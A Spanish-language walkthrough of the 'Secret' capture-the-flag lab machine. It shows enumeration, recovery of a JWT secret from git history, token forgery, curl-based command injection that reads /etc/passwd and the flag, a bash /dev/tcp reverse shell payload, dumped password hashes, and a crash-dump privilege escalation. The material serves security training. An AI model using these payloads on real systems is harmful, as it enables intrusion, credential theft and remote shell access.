Secret

Dificultad: Fácil
Dirección IP: 10.10.11.120

Enumeración

Realizando reconocimiento a nuestro objetivo

Siguiendo nuestra metodología, la cual consiste en lo siguiente:
• Enumeración/Inteligencia
• Busqueda de brechas
• Explotación
• Busqueda de bandera
• Enumeración interna
• Escalada de privilegios

Enumeración/Inteligencia

Realizando nuestra guía o metodología (que no es necesariamente la única o la mejor, se acepta consejos y mejoras "Revisar template para CherryTree y OSINT)
• Enumeración de puertos
• Directorios encontrados
• Tecnologías/Librerías usadas
• Usuarios

Enumeración de puertos

Nmap scan report for 10.10.11.120
Host is up (0.17s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Directorios encontrados

• /api/
• /docs/

Tecnologías/librerías usadas

• nginx 1.18.0
• Node.js

Usuarios identificados

• dasithsv <dasithsv@gmail.com>
• theadmin
• Token obtenido
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiIxMjM0NTY3ODkwIiwibmFtZSI6InRoZWFkbWluIiwibWFp
h7VLhGoczcy-VQvH9BKsbvdzIm3fPX0CXBdfw
• Secreto del token jwt "-TOKEN_SECRET =
gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdE

Ataque

Consiguiendo la mayor enumeración posible sobre nuestro objetivo, empezamos a idear nuestro ataque.

La misma víctima nos proporciona un proyecto de github en el cual es posible obtener su código fuente, al descargarlo vemos que es un proyecto que estuvo en git hub ya que es posible visualizar la carpeta .git; conociendo esto es posible usar los comandos de git hub para obtener información sobre el proyecto. A continuación usamos una serie de comandos:

- git log
  - ◇ git log
    - ■ commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
      Author: dasithsv <dasithsv@gmail.com>
      Date: Thu Sep 9 00:03:27 2021 +0530

      now we can view logs from server 😃

    - ■ commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
      Author: dasithsv <dasithsv@gmail.com>
      Date: Fri Sep 3 11:30:17 2021 +0530

      removed .env for security reasons

    - ■ commit de0a46b5107a2f4d26e348303e76d85ae4870934
      Author: dasithsv <dasithsv@gmail.com>
      Date: Fri Sep 3 11:29:19 2021 +0530

      added /downloads

    - ■ commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
      Author: dasithsv <dasithsv@gmail.com>
      Date: Fri Sep 3 11:27:35 2021 +0530

      removed swap

    - ■ commit 3a367e735ee76569664bf7754eaaade7c735d702
      Author: dasithsv <dasithsv@gmail.com>
      Date: Fri Sep 3 11:26:39 2021 +0530

      added downloads

    - ■ commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
      Author: dasithsv <dasithsv@gmail.com>

- git show
- git show ID (Visto en git log sobre el commit que deseemos ver)
  - ◇ git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
    - ■ commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
      Author: dasithsv <dasithsv@gmail.com>
      Date: Fri Sep 3 11:30:17 2021 +0530

      removed .env for security reasons

```
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET =
gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdE
+TOKEN_SECRET = secret
```

Obtuvimos un token secreto, al parecer es usado para un api o algún tipo de autenticación.
Si revisamos los archivos del proyecto, podemos identificar las rutas de la página web o el api que usan, en esto podemos visualizar algunos archivos que nos dan información interesante ya que podemos darnos una idea de como funciona el proyecto e identificar brechas en este.

- auth.js forgot.js private.js verifytoken.js

Si revisamos el archivo “private.js” podemos identificar una posible brecha de ataque:

```
• router.get('/logs', verifytoken, (req, res) => {
   const file = req.query.file;
   const userinfo = { name: req.user }
   const name = userinfo.name.name;

   if (name == 'theadmin'){
    const getLogs = `git log --oneline ${file}`;
    exec(getLogs, (err , output) =>{
            if(err){
               res.status(500).send(err);
               return
               }
            res.json(output);
         })
      }
         else{
         res.json({
            role: {
               role: "you are normal user",
               desc: userinfo.name.name
            }
         })
         }
      })

      router.use(function (req, res, next) {
      res.json({
         message: {

               message: "404 page not found",
               desc: "page you are looking for is not found. "
            }
         })
      });


      module.exports = router
```

Como se puede visualizar, tenemos una posible brecha que sería una inyección de comandos, también que esa brecha se lee solo si el nombre de algún dato o variable es igual a “theadmin”,

parece que ese valor debe ser de algún tipo de cuenta.

Si repasamos la página de nuestra víctima es posible ver algo de documentación sobre el uso del proyecto, y que cuenta con una petición para un registro, un inicio de sesión y un acceso privado a esta petición. Si hacemos el registro y luego un inicio de sesión, este último nos da un token de acceso del tipo JWT, ahora vemos como concuerda con el secreto descubierto anteriormente, si usamos herramientas en línea como jwt.io podemos visualizar la información que viaja en el token y verificar si el secreto que obtuvimos es valido y corresponde al usado para crear los token JWT.

Después de verificar esta información, ahora podemos proceder con algún tipo de ataque al buscar la forma de editar el token para crear uno nuevo con los datos necesarios, si usamos el secreto podemos alterar el token para que su validez en la plataforma sea veridica, con ello podemos verificar por medio de la petición a /api/priv que somos administradores y ahora debe ser posible explotar la brecha de la inyección, ahora solo tenemos que hacer la petición que nos dice antes del condicional “logs”.

Haciendo uso de curl, podemos explotar esta brecha si es posible, usaremos los siguientes comandos y esta es la respuesta que deberíamos tener; si lo usamos bien, podemos obtener la bandera sin necesidad de entrar :3

- curl -X GET 'http://10.10.11.120/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ0ZWNlZjkwYzA5YzA0NWUxZTczZWIiLCJuYW1lIjoi | jq
- Respuesta
  - ◇ "80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"
- curl -X GET 'http://10.10.11.120/api/logs?file=;cat+/etc/passwd' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ0ZWNlZjkwYzA5YzA0NWUxZTczZWIiLCJuYW1lIjoi | jq
- Respuesta
  - ◇ "80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n
- curl -X GET 'http://10.10.11.120/api/logs?file=;ls+../' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ0ZWNlZjkwYzA5YzA0NWUxZTczZWIiLCJuYW1lIjoi | jq
- Respuesta
  - ◇ "80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nlocal-web\nuser.txt\n"
- curl -X GET 'http://10.10.11.120/api/logs?file=;cat+../user.txt' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ0ZWNlZjkwYzA5YzA0NWUxZTczZWIiLCJuYW1lIjoi | jq
- Respuesta
  - ◇ "80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\na3764afefb9ad6daa6b18fd4a347c795\n"

Si explotamos esta brecha, tambièn podemos tener acceso por medio de una conexión inversa, ahora ¿será posible hacer un curl más elegante? Intentalo.

- curl -G GET 'http://10.10.11.120/api/logs' --data-urlencode 'file=/dev/null;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ0ZWNlZjkwYzA5YzA0NWUxZTczZWIiLCJuYW1lIjoi | jq
- curl -G GET 'http://10.10.11.120/api/logs' --data-urlencode 'file=/dev/null;bash -c "bash -i >& /dev/tcp/IPAtacante/puertoAlNetcat 0>&1"' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjQ0ZWNlZjkwYzA5YzA0NWUxZTczZWIiLCJuYW1lIjoi | jq

Ataque interno

Si hacemos una enumeración, revisamos puertos por ejemplo veremos uno relacionado con mongo db de forma local; intentemos conectarnos a este puerto y ver que podemos observar.
• mongo --port 27017
• > show dbs; (Ver las db de mongo)
• > use auth-web
• > show collections; (Ver las colecciones de la tabla)
• > db.colección.find() (Ver los datos de la colección)
Y acá podemos ver algo interesante, unos usuarios y unas contraseñas protegidas, veamos que podemos obtener.
Los usuarios son los siguientes:
• "name" : "theadmin", "email" : "admin@admins.com", "password" : "$2a$10$SJ8vlQEJYL2J673Xte6BNeMmhHBioLSn6/wqMz2DKjxwQzkModUei"
• "name" : "user222", "email" : "user@google.com", "password" : "$2a$10$WmuQwihUQkzSrRoYakQdI.5hdjo820LNxSfEYATaBoTa/QXJmEbDS"
• "name" : "newuser", "email" : "root@dasith.works", "password" : "$2a$10$wnvh2al2ABafCszb9oWi/.YIXHX4RrTUiWAlVUlv2Z80lkvmllUQW"
• "name" : "dasith", "email" : "dasiths2v2@gmail.com", "password" : "$2a$10$S/GbYplKgIU4oFdTDsr2SeOJreht3UgIA0MdT7F50EtiBy7ymzFBO"

Lastimosamente esta información no sirvió, entonces tenemos que proceder a seguir enumerando vectores de ataque internos.
Si seguimos revisando, por ejemplo usando el siguiente comando en busca de binarios con permisos de ejecución elevados “find / -perm -u=s -type f 2>/dev/null” logramos identificar un binario de nombre count en la ruta /opt/, si lo ejecutamos vemos que podemos visualizar algunas carpetas y nos da información sobre lo que ahí se encuentra. Es un binario, tal vez este archivo crea un proceso, revisemos con ps -aux.
Efectivamente, se crea un proceso, si revisamos el código, es posible detectar unos comentarios que ahí se encuentran, algo relacionado sobre un volcado de memoría, buscando en internet vemos algo relacionado a este comentario, tal ves nos sirva “https://alephsecurity.com/2021/02/16/apport-lpe/”, si estudiamos nos dice que es posible matar el proceso para que este genere un log de reporte con la información capturada en el momento.
Vamos a intentarlo.
El paso es el siguiente:
• Ejecutamos el proceso de ./count
• En la ruta escribimos /root
• Debemos tener otra conexión con el servidor para poder ejecutarlos o bien, podemos usa CTRL + z y suspender el proceso un momento.
• Luego escribimos ps -aux | grep count para poder identificar el ID del proceso.
• Con el ID identificado mataremos el proceso con el siguiente comando kill -s SIGSEV ID.
• Luego nos dirijimos a la carpeta /var/crash/ e identificamos el volcado de memoría nuevo que se crea en el proceso.
• A continuación, usamos el comando apport-unpack volcadoDeMemoría rutaParaDesempaquetar.
• Con ayuda del comando strings veremos las cadenas que capturo el volcado de memoría, y con ello la información que deseamos, ¿por qué irás primero?

Eso es todo, máquina solucionada :3